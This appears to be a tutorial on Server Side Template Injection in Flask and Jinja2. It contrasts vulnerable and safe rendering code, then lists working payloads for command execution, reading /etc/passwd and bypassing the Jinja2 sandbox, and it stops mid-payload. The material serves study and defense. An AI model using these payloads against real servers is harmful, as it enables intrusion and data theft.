1. What is SSTI?
SSTI (Server Side Template Injection) is a web security vulnerability where an attacker injects malicious code into a template engine, causing the server to execute unintended operations.
Template engines are used in web development to separate user interface from business data, enhancing code reusability and development efficiency. The server uses the template engine to render data and then passes it to the user, generating corresponding pages for specific users or parameters.
2. Basics of Python Flask and Jinja2
Introduction to Flask Framework
Flask is a lightweight web application framework in Python, using Jinja2 as its template engine.
Quick Setup of Flask
Bash
# Install virtual environment
pip install virtualenv
# Create virtual environment
virtualenv venv
# Activate environment
./venv/Scripts/activate.bat
# Install Flask
pip install flask
Basic Example Code
Python
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World!'
if __name__ == '__main__':
app.run()
Jinja2 Template Syntax
Jinja2 supports the following syntax for data rendering:
- **
<span>{{}}</span>**: Executes the content within the braces as an expression and returns the result
Python
{{3*4}} # Will be parsed as 12
- **
<span>{%%}</span>**: Used to declare variables or conditional/loop statements
Python
{% set s = 'Tuzk1' %} # Declare variable
{% if var is true %}Tuzk1{%endif%} # Conditional statement
{% for i in range(3) %}Tuzk1{%endfor%} # Loop statement
- **
<span>{##}</span>**: Comment
3. Causes of SSTI Vulnerabilities
Principle of Vulnerability Generation
The fundamental cause of SSTI vulnerabilities is: the server directly concatenates user-controllable input into the template for rendering, leading to the execution of malicious code.
Code Comparison Analysis
Vulnerable Code
Python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# Render the concatenated string as a template
return render_template_string(t)
app.run()
When passing <span>{{10-1}}</span> as a parameter, the expression will be executed, which is the characteristic of the SSTI vulnerability.
Safe Code
Python
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
# Render the template first, then concatenate the string
return render_template('index.html', name=name)
app.run()
Key Difference:<span>render_template</span> will automatically escape the string, while <span>render_template_string</span> does not automatically escape user-concatenated content.
4. Exploitation Techniques
Exploitation Ideas
Basic RCE (Remote Code Execution) exploitation ideas:
- Find a built-in class (e.g.,
<span>[]</span>,<span>""</span>) - Use that class to access the
<span>object</span>class - Access all subclasses through the
<span>object</span>class - Find exploitable classes in the subclass list
- Call functions under the class or use other modules in that class space
Common Magic Methods
| Magic Method | Function |
|---|---|
<span>__class__</span> |
Returns the class of the object |
<span>__base__</span> |
Gets the direct parent class of the class |
<span>__bases__</span> |
Gets the tuple of parent classes |
<span>__mro__</span> |
Returns the method resolution order of the class |
<span>__subclasses__</span> |
Returns the list of all subclasses |
<span>__globals__</span> |
Gets the modules, methods, and variables in the function’s namespace |
<span>__builtins__</span> |
Returns Python built-in functions |
<span>__import__</span> |
Used to import modules |
Finding Exploitable Classes
Python
# Get the class of the object
''.__class__ # <class 'str'>
# Get the parent class
''.__class__.__base__ # <class 'object'>
# Get all subclasses
''.__class__.__base__.__subclasses__()
Exploitable classes include:
<span>linecache</span><span>os._wrap_close</span><span>subprocess.Popen</span><span>warnings.catch_warnings</span>
Common Payload Construction
RCE Execute Command
Python
# Use warnings.catch_warnings with __builtins__ to get eval function
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
# Use os._wrap_close class
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
# Use subprocess.Popen class
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
File Read and Write
Python
# Python2 use file class to read file
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
# General file reading
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}
Advanced Payload Construction Techniques
1. Bypassing Sandbox with attr Filter
The latest CVE-2025-27516 reveals an important bypass technique for the Jinja2 sandbox:
Python
# Traditional sandbox intercepts str.format calls
# But can use |attr filter to get a reference to the format method
{{ ''|attr('format')('Hello {}', 'World') }}
# Bypass sandbox to execute command using attr
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('whoami')|attr('read')() }}
2. Advanced Techniques with format Method
CVE-2024-56326 demonstrates the technique of storing malicious string format method references:
Python
# Store malicious format method reference
{% set evil = '{0.__init__.__globals__[__builtins__][__import__](